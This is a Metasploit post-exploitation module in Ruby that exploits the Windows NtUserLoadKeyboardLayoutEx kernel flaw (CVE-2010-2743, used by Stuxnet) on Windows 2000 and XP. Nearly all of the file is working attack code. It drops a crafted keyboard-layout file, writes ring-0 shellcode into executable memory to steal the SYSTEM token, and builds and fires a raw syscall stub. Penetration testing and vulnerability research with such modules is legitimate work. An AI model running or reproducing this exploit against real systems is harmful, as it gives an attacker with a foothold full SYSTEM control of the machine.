## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'metasm' class Metasploit3 < Msf::Post def initialize(info={}) super(update_info(info, 'Name' => 'Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation', 'Description' => %q{ This module exploits the keyboard layout vulnerability exploited by Stuxnet. When processing specially crafted keyboard layout files (DLLs), the Windows kernel fails to validate that an array index is within the bounds of the array. By loading a specially crafted keyboard layout, an attacker can execute code in Ring 0. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ruben Santamarta', # First public exploit 'jduck' # Metasploit module ], 'Version' => '$Revision$', 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'References' => [ [ 'OSVDB', '68552' ], [ 'CVE', '2010-2743' ], [ 'MSB', 'MS10-073' ], [ 'URL', 'http://www.vupen.com/blog/20101018.Stuxnet_Win32k_Windows_Kernel_0Day_Exploit_CVE-2010-2743.php' ], [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1' ], [ 'URL', 'http://www.exploit-db.com/exploits/15985/' ] ], 'DisclosureDate'=> "Oct 12 2010" )) end def run mem_base = nil dllpath = nil hDll = false vuln = false winver = session.sys.config.sysinfo["OS"] affected = [ 'Windows 2000', 'Windows XP' ] affected.each { |v| if winver.include? v vuln = true break end } if not vuln print_error("#{winver} is not vulnerable.") return end # syscalls from http://j00ru.vexillium.org/win32k_syscalls/ if winver =~ /2000/ system_pid = 8 pid_off = 0x9c flink_off = 0xa0 token_off = 0x12c addr = 0x41424344 syscall_stub = <<-EOS mov eax, 0x000011b6 lea edx, [esp+4] int 0x2e ret 0x1c EOS else # XP system_pid = 4 pid_off = 0x84 flink_off = 0x88 token_off = 0xc8 addr = 0x60636261 syscall_stub = <<-EOS mov eax, 0x000011c6 mov edx, 0x7ffe0300 call [edx] ret 0x1c EOS end ring0_code = #"\xcc" + # save registers -- necessary for successfuly recovery "\x60" + # get EPROCESS from ETHREAD "\x64\xa1\x24\x01\x00\x00" + "\x8b\x70\x44" + # init PID search "\x89\xf0" + "\xbb" + "FFFF" + "\xb9" + "PPPP" + # look for the system pid EPROCESS "\xba" + "SSSS" + "\x8b\x04\x18" + "\x29\xd8" + "\x39\x14\x08" + "\x75\xf6" + # save the system token addr in edi "\xbb" + "TTTT" + "\x8b\x3c\x18" + "\x83\xe7\xf8" + # re-init the various offsets "\x89\xf0" + "\xbb" + "FFFF" + "\xb9" + "PPPP" + # find the target pid token "\xba" + "TPTP" + "\x8b\x04\x18" + "\x29\xd8" + "\x39\x14\x08" + "\x75\xf6" + # set the target pid's token to the system token "\xbb" + "TTTT" + "\x89\x3c\x18" + # restore start context "\x61" + # recover in ring0, return to caller "\xc2\x0c\00" dll_data = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00" + "\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00" pid = session.sys.process.getpid print_status("Attempting to elevate PID 0x%x" % pid) # Prepare the shellcode (replace platform specific stuff, and pid) ring0_code.gsub!('FFFF', [flink_off].pack('V')) ring0_code.gsub!('PPPP', [pid_off].pack('V')) ring0_code.gsub!('SSSS', [system_pid].pack('V')) ring0_code.gsub!('TTTT', [token_off].pack('V')) ring0_code.gsub!('TPTP', [pid].pack('V')) # Create the malicious Keyboard Layout file... tmpdir = session.fs.file.expand_path("%TEMP%") fname = "p0wns.boom" dllpath = "#{tmpdir}\\#{fname}" fd = session.fs.file.new(dllpath, 'wb') fd.write(dll_data) fd.close # Can't use this atm, no handle access via stdapi :( #dll_fd = session.fs.file.new(dllpath, 'rb') # Instead, we'll use railgun to re-open the file ret = session.railgun.kernel32.CreateFileA(dllpath, GENERIC_READ, 1, nil, 3, 0, 0) print_status(ret.inspect) if ret['return'] < 1 print_error("Unable to open #{dllpath}") return end hDll = ret['return'] print_status("Wrote malicious keyboard layout to #{dllpath} ..") # Allocate some RWX virtual memory for our use.. mem_base = addr & 0xffff0000 mem_size = (addr & 0xffff) + 0x1000 mem_size += (0x1000 - (mem_size % 0x1000)) mem = session.railgun.kernel32.VirtualAlloc(mem_base, mem_size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if (mem['return'] != mem_base) print_error("Unable to allocate RWX memory @ 0x%x" % mem_base) return end print_status("Allocated 0x%x bytes of memory @ 0x%x" % [mem_size, mem_base]) # Initialize the buffer to contain NO-OPs nops = "\x90" * mem_size ret = session.railgun.memwrite(mem_base, nops, nops.length) if not ret print_error("Unable to fill memory with NO-OPs") return end # Copy the shellcode to the desired place ret = session.railgun.memwrite(addr, ring0_code, ring0_code.length) if not ret print_error("Unable to copy ring0 payload") return end # InitializeUnicodeStr(&uStr,L"pwn3d.dll"); -- Is this necessary? pKLID = mem_base pStr = pKLID + (2+2+4) kbd_name = "pwn3d.dll" uni_name = Rex::Text.to_unicode(kbd_name + "\x00") ret = session.railgun.memwrite(pStr, uni_name, uni_name.length) if not ret print_error("Unable to copy unicode string data") return end unicode_str = [ kbd_name.length * 2, uni_name.length, pStr ].pack('vvV') ret = session.railgun.memwrite(pKLID, unicode_str, unicode_str.length) if not ret print_error("Unable to copy UNICODE_STRING structure") return end print_status("Initialized RWX buffer ...") # Get the current Keyboard Layout ret = session.railgun.user32.GetKeyboardLayout(0) if ret['return'] < 1 print_error("Unable to GetKeyboardLayout") return end hKL = ret['return'] print_status("Current Keyboard Layout: 0x%x" % hKL) # _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx( # IN HANDLE Handle, # IN DWORD offTable, # IN PUNICODE_STRING puszKeyboardName, # IN HKL hKL, # IN PUNICODE_STRING puszKLID, # IN DWORD dwKLID, # IN UINT Flags # ) # Again, railgun/meterpreter doesn't implement calling a non-dll function, so # I tried to hack up this call to KiFastSystemCall, but that didn't work either... =begin session.railgun.add_function('ntdll', 'KiFastSystemCall', 'DWORD', [ [ 'DWORD', 'syscall', 'in' ], [ 'DWORD', 'handle', 'in' ], [ 'DWORD', 'offTable', 'in' ], [ 'PBLOB', 'pKbdName', 'in' ], [ 'DWORD', 'hKL', 'in' ], [ 'PBLOB', 'pKLID', 'in' ], [ 'DWORD', 'dwKLID', 'in' ], [ 'DWORD', 'Flags', 'in' ] ]) ret = session.railgun.ntdll.KiFastSystemCall(dll_fd, 0x1ae0160, nil, hKL, pKLID, 0x666, 0x101) print_status(ret.inspect) =end # Instead, we'll craft a machine code blob to setup the stack and perform # the system call.. asm = <<-EOS pop esi push 0x101 push 0x666 push #{"0x%x" % pKLID} push #{"0x%x" % hKL} push 0 push 0x1ae0160 push #{"0x%x" % hDll} push esi #{syscall_stub} EOS #print_status("\n" + asm) bytes = Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string #print_status("\n" + Rex::Text.to_hex_dump(bytes)) # Copy this new system call wrapper function into our RWX memory func_ptr = mem_base + 0x1000 ret = session.railgun.memwrite(func_ptr, bytes, bytes.length) if not ret print_error('Unable to copy system call stub') return end print_status("Patched in syscall wrapper @ 0x%x" % func_ptr) # GO GO GO ret = session.railgun.kernel32.CreateThread(nil, 0, func_ptr, nil, "CREATE_SUSPENDED", nil) if ret['return'] < 1 print_error("Unable to CreateThread") return end hthread = ret['return'] # Resume the thread to actually have the syscall happen ret = client.railgun.kernel32.ResumeThread(hthread) if ret['return'] < 1 print_error("Unable to ResumeThread") return end print_status("Successfully executed syscall wrapper!") # Now, send some input to cause ring0 payload execution... print_status("Attempting to cause the ring0 payload to execute..."); vInput = [ 1, # INPUT_KEYBOARD - input type # KEYBDINPUT struct 0x0, # wVk 0x0, # wScan 0x0, # dwFlags 0x0, # time 0x0, # dwExtraInfo 0x0, # pad 1 0x0 # pad 2 ].pack('VvvVVVVV') ret = session.railgun.user32.SendInput(1, vInput, vInput.length) print_status('SendInput: ' + ret.inspect) ensure # Clean up if mem_base ret = session.railgun.kernel32.VirtualFree(mem_base, 0, MEM_RELEASE) if not ret['return'] print_error("Unable to free memory @ 0x%x" % mem_base) end end #dll_fd.close if hDll ret = session.railgun.kernel32.CloseHandle(hDll) if not ret['return'] print_error("Unable to CloseHandle") end end session.fs.file.rm(dllpath) if dllpath end end